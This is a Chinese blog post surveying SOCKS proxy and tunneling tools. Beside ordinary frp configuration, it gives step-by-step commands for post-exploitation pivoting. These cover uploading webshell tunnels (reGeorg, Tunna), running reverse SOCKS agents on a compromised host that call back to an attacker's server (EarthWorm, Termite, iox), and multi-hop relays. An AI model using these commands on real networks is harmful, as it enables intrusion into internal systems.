专业的编程技术博客社区

网站首页 > 博客文章 正文

畅享无界网络:几款受欢迎的Socks代理工具推荐

baijin 2025-03-02 16:04:07 博客文章 9 ℃ 0 评论

Socks代理(Socks Proxy)是一种网络代理协议,用于在计算机之间进行数据传输。它可以通过中间服务器转发网络请求和响应,隐藏真实的客户端IP地址,并提供一些额外的功能。Socks代理工作在传输层,可以代理各种网络协议的数据传输,如HTTP、FTP、SMTP等。与其他代理协议相比,Socks代理具有更高的灵活性和功能性。

使用Socks代理时,客户端会将网络请求发送到Socks代理服务器,然后代理服务器会将请求转发给目标服务器。目标服务器将响应发送回代理服务器,再由代理服务器转发给客户端。这样一来,目标服务器无法直接获取客户端的真实IP地址,保护了客户端的隐私。

Socks代理还可以实现一些额外的功能,如:

  1. 支持认证:Socks代理服务器可以要求客户端提供用户名和密码,以验证客户端的身份。
  2. 支持UDP协议:与其他代理协议不同,Socks代理可以代理UDP协议的数据传输,使得一些特定的应用程序也可以通过代理进行通信。
  3. 支持IPv6:Socks代理可以处理IPv6协议的数据传输,使得客户端和目标服务器可以使用IPv6地址进行通信。

平时我们在开发过程中会遇到http 代理和Socks 代理,而Socks 代理具有持续性和稳定性 在各个开发中广泛使用。我们截几张图给大家感受一下

下面介绍一下几款常见的Socks 代理工具。

socks代理工具

基于web服务的socks5工具

基于web服务的socks5工具的优点是,在内网服务器不通外网的情况下也能正常使用。例如:

资产组里有2台机器:主机A、主机B。其中主机A上运行了Web服务,且IP或者端口映射到公网,可以被外部人员访问,主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell,但同时又出于某些限制并未能得到主机A的主机权限也无法反弹shell,那么他这个时候,也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。

此时基于web服务的socks5隧道就在这个时候起了作用,攻击者已经有了主机A的webshell权限(即可以在web服务器中上传文件),而主机A可以和主机B通信。那么在主机A上安装相应工具,使得攻击者发出的请求以及目标机器的响应经过A的http转发,达到攻击者可以和主机B进行通信的效果。

常用的工具有:reGeorg,reDuh,Tunna和Proxifier。

reGeorg

reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

下载地址:
https://github.com/sensepost/reGeorg

首先选择对应脚本的tunnel上传到服务器

然后访问上传文件,显示如下则表示成功

在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。

python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php

打开Proxifier,更改为脚本指定的端口

本地电脑成功通过socks5带进了目标主机的内网

Tunna

下载地址:
https://github.com/SECFORCE/Tunna

Tunna和reduh原理一样.. 使用方法:

  1. 上传源码包中文件夹webshell下的脚本至网站目录
  2. 然后本地进行连接上传的webshell即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v
#转发SSH服务需要加上-s参数避免中断

其它功能

#socks代理
goto  对应id
socks 1080

#shell管理
shell 4444
nc -v 127.0.0.1 4444

#端口转发
lcxtran 本地端口 目标ip 目标端口

#上传下载文件
upfile 本地文件路径 目标路径
downfile 目标文件路径 本地存放路径

除了以上基本的socke5代理功能之外,部分软件还支持多层代理功能,下面简单介绍一下几款多层代理工具。

能够进行多层代理的工具

Earthworm(又称ew)

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。

使用教程:
http://rootkiter.com/EarthWorm/

使用条件:目标主机通外网,拥有自己的公网ip

选择对应主机操作系统的执行文件。

首先在公网服务器上执行:

./ew_for_linux64 -s rcsocks -l 10000 -e 11000
#-l为Proxifier连接的端口,-e为目标主机和服务器的通信端口。

然后在目标主机中执行:

ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

socks5隧道建立成功,成功把自己的主机带进目标内网。

使用Proxifier,配置ip和连接端口。

Termite

Termite 是EW(EarthWorm)的最新版,主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。

官方网站:
http://rootkiter.com/Termite/

项目地址:
https://github.com/rootkiter/Termite

ew 和 termite已经不再进行维护了,下载方式如下

git clone https://github.com/rootkiter/Binary-files.git
cd .\Binary-files\
git checkout bd32230
ls

使用方式

目标在公网

#目标A:

agent_win32.exe -l 8888

#PC:

admin_win32.exe -c 目标ip -p 8888

目标在内网(能出网)

#在服务器运行:

agent_win32.exe -l 8888

#在自己机器运行:

admin_win32.exe -c 服务器_ip -p 8888

#在目标机器运行:

agent_win32.exe -c 服务器_ip -p 8888

目标B在内网(不出网,通出网机器A)

agent正向连接

#a.在服务器运行:

agent_win32.exe -l 8888

#b.在PC运行:

admin_win32.exe -c 服务器_ip -p 8888

#c.在出网机器A运行:

agent_win32.exe -c 服务器_ip -p 8888

#d.在目标B运行:

agent_win32.exe -l 9000

#e.在PC运行:

goto A_id

connect B_ip 9000

agent间反向连

#a.在服务器运行:

agent_win32.exe -l 8888

#b.在PC运行:

admin_win32.exe -c 服务器_ip -p 8888

#c.在出网机器A运行:

agent_win32.exe -c 服务器_ip -p 8888

#d.在PC运行:

goto A_id

listen 9000

#e.在目标B运行:

agent_win32.exe -c A_ip -p 9000

venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

下载地址:
https://github.com/Dliv3/Venom

安装

go get -u github.com/Dliv3/Venom/...

# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看
cd $GOPATH/src/github.com/Dliv3/Venom

# 编译好的二进制文件存放在当前目录下的release文件夹中
./build.sh

admin/agent命令行参数,admin节点和agent节点均可监听连接也可发起连接。

admin监听端口,agent发起连接:

./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999

agent监听端口,admin发起连接:

./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888

fuso

https://github.com/editso/fuso


这是一款用于内网穿透 端口转发的神器,帮助运维 开发 快速部署与接入内网 同时支持CobaltStrike 一键转发等功能。

此外还有一些多功能型的代理工具。

多功能型的代理工具

frp

通过SSH访问内网机器

服务端配置

[common]
bind_port = 7000         # 客户端通信端口
./frps -c ./frps.ini   # 临时
nohup ./frps -c ./frps.ini &  # 后台

客户端配置

[common]
server_addr = x.x.x.x
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

local_ip配置为本地需要暴露到公网的服务地址。

local_port配置为本地需要暴露到公网的服务端口。

remote_port表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。

启动

./frpc -c ./frpc.ini   # 临时
nohup ./frpc -c ./frpc.ini &  # 后台

使用

ssh -oPort=6000 test@x.x.x.x

frp 会将请求 x.x.x.x:6000 的流量转发到内网机器的 22 端口

通过HTTP协议访问内网WEB服务

HTTP 类型的代理相比于 TCP 类型,不仅在服务端只需要监听一个额外的端口 vhost_http_port用于接收 HTTP 请求,还额外提供了基于 HTTP 协议的诸多功能。

服务端配置,修改 frps.ini 文件,设置监听 HTTP 请求端口为 8080:

[common]
bind_port = 7000
vhost_http_port = 8080

客户端配置

修改 frpc.ini 文件,假设 frps 所在的服务器的 IP 为 x.x.x.x,local_port为本地机器上 Web 服务监听的端口, 绑定自定义域名为 custom_domains

[common]
server_addr = x.x.x.x
server_port = 7000

[web]
type = http
local_port = 80
custom_domains = www.yourdomain.com

[web2]
type = http
local_port = 8080
custom_domains = www.yourdomain2.com

使用

  1. 分别启动 frps 和 frpc。
  2. www.yourdomain.comwww.yourdomain2.com的域名 A 记录解析到 IP x.x.x.x,如果服务器已经有对应的域名,也可以将 CNAME 记录解析到服务器原先的域名。或者可以通过修改 HTTP 请求的 Host 字段来实现同样的效果。
  3. 通过浏览器访问 http://www.yourdomain.com:8080即可访问到处于内网机器上 80 端口的服务,访问 http://www.yourdomain2.com:8080则访问到内网机器上 8080 端口的服务。

通过socks5搭建隧道

服务端配置,修改frps.ini配置文件

[common]
bind_port = 7000

bind_port:绑定的端口

客户端配置,修改frpc.ini配置文件

[common]
server_addr = x.x.x.x
server_port = 7000

[test] 
remote_port = 10000           #代理的端口
plugin = socks5               #使用的协议
use_encryption = true         #是否加密
use_compression = true

remote_port: 代理的端口

plugin: 使用的协议

use_encryption: 是否加密

plugin_user= admin #socks5用户名

plugin_passwd= admin #socks5密码

使用

然后可以本机设置代理: socks5 xxx.xxx.xxx.xxx(服务器) 10000,即可访问内网系统

可以利用命令如下命令来测试sockets代理搭建的是否成功

curl --socks5 x.x.x.x:10000 http://www.baidu.com

另外可以在SwitchyOmega中配置sockets5代理可以实现2.2的功能

详细使用可以参考
https://www.cnblogs.com/tomyyyyy/p/15195601.html

iox

具有流量加密、友好的命令行参数、逻辑优化、UDP流量转发等优点

下载地址:
https://github.com/EddieIvan01/iox

使用教程:
https://www.freebuf.com/articles/network/244567.html

两种工作模式

fwd模式:

同时监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量进行转发。

/iox fwd -l 8888 -l 9999
#for lcx:
./lcx -listen 8888 9999

监听0.0.0.0:8888,把流量转发到1.1.1.1:9999。

./iox fwd -l 8888 -r 1.1.1.1:9999
#for lcx:
./lcx -tran 8888 1.1.1.1 9999

连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发流量。

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
#for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999

proxy模式:

在本地 0.0.0.0:1080启动Socks5服务

./iox proxy -l 1080
#for ew:
./ew -s ssocksd -l 1080

在目标主机上开启Socks5服务,将通信流量转发至公网服务器,服务器上将流量从0.0.0.0:9999转发到0.0.0.0:1080。此时,你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连。

./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080       // 注意,这两个端口是有顺序的
#for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999

总结:总之,Socks代理是一种用于网络传输的代理协议,可以隐藏客户端的真实IP地址,并提供一些额外的功能。它被广泛应用于网络安全、隐私保护和访问控制等领域。后面我们再介绍一些平时用到的内网穿透代理工具给大家,感兴趣的朋友可以留言点赞。

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表